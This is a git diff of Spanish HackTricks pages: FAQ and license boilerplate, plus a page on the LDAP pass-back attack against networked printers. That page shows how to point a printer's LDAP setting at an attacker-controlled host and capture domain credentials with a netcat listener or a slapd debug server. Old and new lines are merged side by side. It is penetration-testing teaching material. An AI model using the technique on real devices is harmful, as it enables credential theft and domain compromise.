Si necesitas un bibtex puedes usar algo como: Si necesitas un bibtex, puedes usar algo como:
```latex ```latex
@misc{hacktricks-bibtexing, @misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -74,10 +74,10 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
* **¿Puedo copiar todo HackTricks en mi blog?** * **¿Puedo copiar todos los HackTricks en mi blog?**
{% endhint %} {% endhint %}
**Preferiría que no**. Eso **no va a beneficiar a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita. **Prefiero que no**. Eso **no beneficiará a nadie** ya que todo el **contenido ya está disponible públicamente** en los libros oficiales de HackTricks de forma gratuita.
Si temes que desaparezca, simplemente haz un fork en Github o descárgalo, como dije, ya es gratis. Si temes que desaparezca, simplemente haz un fork en Github o descárgalo, como dije, ya es gratis.
@ -85,45 +85,53 @@ Si temes que desaparezca, simplemente haz un fork en Github o descárgalo, como
* **¿Por qué tienen patrocinadores? ¿Los libros de HackTricks son para fines comerciales?** * **¿Por qué tienen patrocinadores? ¿Los libros de HackTricks son para fines comerciales?**
{% endhint %} {% endhint %}
El primer **valor de HackTricks** es ofrecer recursos educativos de hacking **GRATUITOS** para **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, de nuevo, de forma **GRATUITA**. El primer **valor de HackTricks** es ofrecer recursos educativos de hacking **GRATUITOS** a **TODO** el mundo. El equipo de HackTricks ha **dedicado miles de horas** para ofrecer este contenido, nuevamente, de forma **GRATUITA**.
Si piensas que los libros de HackTricks están hechos para **fines comerciales** estás **COMPLETAMENTE EQUIVOCADO**. Si piensas que los libros de HackTricks se hacen con fines **comerciales**, estás **COMPLETAMENTE EQUIVOCADO**.
Tenemos patrocinadores porque, aunque todo el contenido es GRATUITO, queremos **ofrecer a la comunidad la posibilidad de apreciar nuestro trabajo** si así lo desean. Por lo tanto, ofrecemos a las personas la opción de donar a HackTricks a través de [**patrocinadores de Github**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** para patrocinar HackTricks y para **tener algunos anuncios** en el libro, siendo los **anuncios** siempre colocados en lugares donde los hacen **visibles** pero **no interrumpen el proceso de aprendizaje** si alguien se centra en el contenido. Tenemos patrocinadores porque, aunque todo el contenido es GRATUITO, queremos **ofrecer a la comunidad la posibilidad de apreciar nuestro trabajo** si así lo desean. Por lo tanto, ofrecemos a las personas la opción de donar a HackTricks a través de [**Github sponsors**](https://github.com/sponsors/carlospolop), y a **empresas relevantes de ciberseguridad** patrocinar HackTricks y **tener algunos anuncios** en el libro, siempre colocados en lugares donde sean **visibles** pero **no perturben el proceso de aprendizaje** si alguien se enfoca en el contenido.
No encontrarás HackTricks lleno de anuncios molestos como otros blogs con mucho menos contenido que HackTricks, porque HackTricks no está hecho para fines comerciales. No encontrarás HackTricks lleno de anuncios molestos como en otros blogs con mucho menos contenido que HackTricks, porque HackTricks no se hace con fines comerciales.
{% hint style="danger" %} {% hint style="danger" %}
* **¿Qué debo hacer si alguna página de HackTricks está basada en mi publicación de blog pero no está referenciada?** * **¿Qué debo hacer si alguna página de HackTricks se basa en una publicación de mi blog pero no está referenciada?**
{% endhint %} {% endhint %}
**Lo sentimos mucho. Esto no debería haber ocurrido**. Por favor, háznoslo saber a través de problemas de Github, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y añadiremos lo antes posible**. **Lamentamos mucho que esto haya sucedido**. Por favor, avísanos a través de problemas en Github, Twitter, Discord... el enlace de la página de HackTricks con el contenido y el enlace de tu blog y **lo revisaremos y lo agregaremos lo antes posible**.
{% hint style="danger" %} {% hint style="danger" %}
* **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté allí?** * **¿Qué debo hacer si hay contenido de mi blog en HackTricks y no quiero que esté allí?**
{% endhint %} {% endhint %}
En cualquier caso, debes saber que HackTricks en este caso estaría mejorando tu **SEO** y **animando** a la gente a **visitar tu página**. Si aún así quieres que el contenido de tu blog sea eliminado de HackTricks, háznoslo saber. En cualquier caso, debes saber que en este caso HackTricks estaría mejorando tu **SEO** y **animando** a la gente a **visitar tu página** (algunas personas nos han mencionado que desde que una página suya está en HackTricks reciben más visitas). Si aún deseas que se elimine el contenido de tu blog de HackTricks, avísanos.
Ten en cuenta que al pedir esto definitivamente **eliminaremos todos los enlaces a tu blog**, pero si la misma técnica se puede encontrar en otras páginas web, simplemente cambiaremos la fuente de la información y la explicación, por lo que el contenido real probablemente no abandonará HackTricks (en ciberseguridad, en general, siempre hay varios post hablando de la misma técnica). Ten en cuenta que al solicitar esto, definitivamente **eliminaremos todos los enlaces a tu blog**, y cualquier contenido basado en él.
{% hint style="danger" %}
* **¿Qué debo hacer si encuentro contenido copiado en HackTricks?**
{% endhint %}
**Desafortunadamente esta práctica viene desde el inicio del proyecto**. Siempre hemos intentado **darle todo el crédito a los autores originales**. Si encuentras una página con contenido copiado (incluso con la fuente original referenciada), avísanos y lo **eliminaremos**, **dejaremos el enlace** o lo **reescribiremos**.
{% hint style="danger" %}
## Licencia ## Licencia
**Copyright © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está licenciado bajo la**[ **Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ **Derechos de autor © Carlos Polop 2024. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo licencia** [**Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Si quieres usarlo con fines comerciales, contáctame.** **Si deseas utilizarlo con fines comerciales, contáctame.**
## **Descargo de responsabilidad** ## **Descargo de responsabilidad**
{% hint style="danger" %} {% hint style="danger" %}
Este libro, 'HackTricks', está destinado únicamente para fines educativos e informativos. El contenido de este libro se proporciona tal cual, y los autores y editores no hacen representaciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, precisión, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información es estrictamente bajo tu propio riesgo. Este libro, 'HackTricks', está destinado únicamente con fines educativos e informativos. El contenido de este libro se proporciona tal cual, y los autores y editores no hacen representaciones o garantías de ningún tipo, expresas o implícitas, sobre la integridad, precisión, confiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información es estrictamente bajo tu propio riesgo.
Los autores y editores no serán responsables en ningún caso de ninguna pérdida o daño, incluyendo sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño de cualquier tipo que surja de la pérdida de datos o beneficios que surjan de, o en conexión con, el uso de este libro. Los autores y editores no serán responsables en ningún caso de ninguna pérdida o daño, incluidos, entre otros, pérdida o daño indirecto o consecuente, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados de, o en conexión con, el uso de este libro.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni apoyan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro es bajo el propio riesgo y discreción del usuario. Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no respaldan ni apoyan actividades ilegales o éticamente cuestionables, y cualquier uso de la información contenida en este libro es bajo el propio riesgo y discreción del usuario.
El usuario es el único responsable de cualquier acción tomada basada en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos aquí. El usuario es el único responsable de cualquier acción tomada basada en la información contenida en este libro, y siempre debe buscar asesoramiento profesional y asistencia al intentar implementar cualquiera de las técnicas o consejos descritos en él.
Al usar este libro, el usuario acepta liberar a los autores y editores de toda responsabilidad y responsabilidad por cualquier daño, pérdida o daño que pueda resultar del uso de este libro o de cualquier información contenida en él. Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
{% endhint %} {% endhint %}
<details> <details>
@ -132,10 +140,10 @@ Al usar este libro, el usuario acepta liberar a los autores y editores de toda r
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) **y** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,314 +1,75 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
Varios blogs en Internet **destacan los peligros de dejar impresoras configuradas con LDAP con credenciales de inicio de sesión por defecto/débiles**.\ Hay varios blogs en Internet que **destacan los peligros de dejar las impresoras configuradas con LDAP con credenciales de inicio de sesión predeterminadas/débiles**.\
Esto se debe a que un atacante podría **engañar a la impresora para que se autentique contra un servidor LDAP falso** (típicamente un `nc -vv -l -p 444` es suficiente) y capturar las **credenciales de la impresora en texto claro**. Esto se debe a que un atacante podría **engañar a la impresora para autenticarse contra un servidor LDAP falso** (típicamente un `nc -vv -l -p 444` es suficiente) y capturar las **credenciales de la impresora en texto claro**.
Además, varias impresoras contendrán **registros con nombres de usuario** o incluso podrían ser capaces de **descargar todos los nombres de usuario** del Controlador de Dominio. Además, varias impresoras contendrán **logs con nombres de usuario** o incluso podrían ser capaces de **descargar todos los nombres de usuario** del Controlador de Dominio.
Toda esta **información sensible** y la común **falta de seguridad** hacen que las impresoras sean muy interesantes para los atacantes. Toda esta **información sensible** y la **falta común de seguridad** hace que las impresoras sean muy interesantes para los atacantes.
Algunos blogs sobre el tema: Algunos blogs sobre el tema:
* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/) * [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) * [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
**La siguiente información fue copiada de** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/) ## Configuración de la Impresora
- **Ubicación**: La lista de servidores LDAP se encuentra en: `Red > Configuración LDAP > Configuración de LDAP`.
- **Comportamiento**: La interfaz permite modificaciones en el servidor LDAP sin necesidad de volver a ingresar credenciales, buscando la conveniencia del usuario pero planteando riesgos de seguridad.
- **Explotación**: La explotación implica redirigir la dirección del servidor LDAP a una máquina controlada y aprovechar la función "Probar conexión" para capturar credenciales.
# Configuración de LDAP ## Captura de Credenciales
En las impresoras Konica Minolta es posible configurar un servidor LDAP para conectarse, junto con las credenciales. En versiones anteriores del firmware de estos dispositivos he oído que es posible recuperar las credenciales simplemente leyendo el código fuente html de la página. Ahora, sin embargo, las credenciales no se devuelven en la interfaz, por lo que tenemos que trabajar un poco más. ### Método 1: Escucha de Netcat
Un simple escucha de netcat podría ser suficiente:
La lista de Servidores LDAP está bajo: Red > Configuración de LDAP > Configuración de LDAP ```bash
La interfaz permite modificar el servidor LDAP sin volver a introducir las credenciales que se utilizarán para conectar. Supongo que esto es para una experiencia de usuario más simple, pero ofrece una oportunidad para que un atacante escale de ser el amo de una impresora a obtener un punto de apoyo en el dominio.
Podemos reconfigurar la dirección del servidor LDAP a una máquina que controlemos y desencadenar una conexión con la funcionalidad útil de "Probar Conexión".
# Escuchando los bienes
## netcat
Si tienes más suerte que yo, podrías salirte con la tuya con un simple oyente netcat:
```
sudo nc -k -v -l -p 386 sudo nc -k -v -l -p 386
``` ```
Me asegura [@\_castleinthesky](https://twitter.com/\_castleinthesky) que esto funciona la mayoría de las veces, sin embargo, aún tengo que tener esa facilidad. Sin embargo, el éxito de este método varía.
## Slapd ### Método 2: Servidor LDAP completo con Slapd
Un enfoque más confiable implica configurar un servidor LDAP completo porque la impresora realiza una unión nula seguida de una consulta antes de intentar la unión de credenciales.
He descubierto que se requiere un servidor LDAP completo, ya que la impresora primero intenta una vinculación nula y luego consulta la información disponible, solo si estas operaciones son exitosas procede a vincularse con las credenciales. 1. **Configuración del Servidor LDAP**: La guía sigue los pasos de [esta fuente](https://www.server-world.info/en/note?os=Fedora_26&p=openldap).
2. **Pasos Clave**:
Busqué un servidor ldap simple que cumpliera con los requisitos, sin embargo, parecía haber opciones limitadas. Al final, opté por configurar un servidor ldap abierto y usar el servicio de servidor de depuración slapd para aceptar conexiones e imprimir los mensajes de la impresora. (Si conoces una alternativa más fácil, me encantaría saberlo) - Instalar OpenLDAP.
- Configurar la contraseña de administrador.
### Instalación - Importar esquemas básicos.
- Establecer el nombre de dominio en la base de datos LDAP.
(Nota: esta sección es una versión ligeramente adaptada de la guía aquí [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap) ) - Configurar TLS de LDAP.
3. **Ejecución del Servicio LDAP**: Una vez configurado, el servicio LDAP se puede ejecutar usando:
Desde un terminal como root:
**Instalar OpenLDAP,**
``` ```
#> dnf install -y install openldap-servers openldap-clients slapd -d 2
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
#> chown ldap. /var/lib/ldap/DB_CONFIG
```
**Establecer una contraseña de administrador de OpenLDAP (la necesitarás de nuevo en breve)**
```
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
``` ```
``` **Para obtener pasos más detallados, consulta la [fuente original](https://grimhacker.com/2018/03/09/just-a-printer/).**
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
```
``` # Referencias
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif * [https://grimhacker.com/2018/03/09/just-a-printer/](https://grimhacker.com/2018/03/09/just-a-printer/)
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"
```
**Importar esquemas básicos**
```
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"
```
**Establece tu nombre de dominio en la base de datos LDAP.**
```
# generate directory manager's password
#> slappasswd
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
modifying entry "olcDatabase={2}mdb,cn=config"
#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1
dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager
dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People
dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"
adding new entry "cn=Manager,dc=foo,dc=bar"
adding new entry "ou=People,dc=foo,dc=bar"
adding new entry "ou=Group,dc=foo,dc=bar"
```
**Configurar LDAP TLS**
**Crear un Certificado SSL**
```
#> cd /etc/pki/tls/certs
#> make server.key
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm
# remove passphrase from private key
#> openssl rsa -in server.key -out server.key
Enter pass phrase for server.key: # input passphrase
writing RSA key
#> make server.csr
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key
```
**Configurar Slapd para SSL/TLS**
```
#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/
#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt
#> vim mod_ssl.ldif
# create new
dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
```
**Permitir LDAP a través de tu firewall local**
```
firewall-cmd --add-service={ldap,ldaps}
```
## La recompensa
Una vez que hayas instalado y configurado tu servicio LDAP, puedes ejecutarlo con el siguiente comando:
> ```
> slapd -d 2
> ```
La captura de pantalla a continuación muestra un ejemplo de la salida cuando ejecutamos la prueba de conexión en la impresora. Como puedes ver, el nombre de usuario y la contraseña se pasan del cliente LDAP al servidor.
![salida del terminal slapd que contiene el nombre de usuario "MyUser" y la contraseña "MyPassword"](https://i1.wp.com/grimhacker.com/wp-content/uploads/2018/03/slapd\_output.png?resize=474%2C163\&ssl=1)
# ¿Qué tan malo puede ser?
Esto depende mucho de las credenciales que se hayan configurado.
Si se sigue el principio de privilegio mínimo, entonces es posible que solo obtengas acceso de lectura a ciertos elementos de Active Directory. Esto a menudo sigue siendo valioso ya que puedes usar esa información para formular ataques más precisos.
Típicamente es probable que obtengas una cuenta en el grupo de Usuarios del Dominio que puede dar acceso a información sensible o formar la autenticación prerrequisito para otros ataques.
O, como a mí, puede que te recompensen por configurar un servidor LDAP y te entreguen una cuenta de Administrador del Dominio en bandeja de plata.
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -4,103 +4,12 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
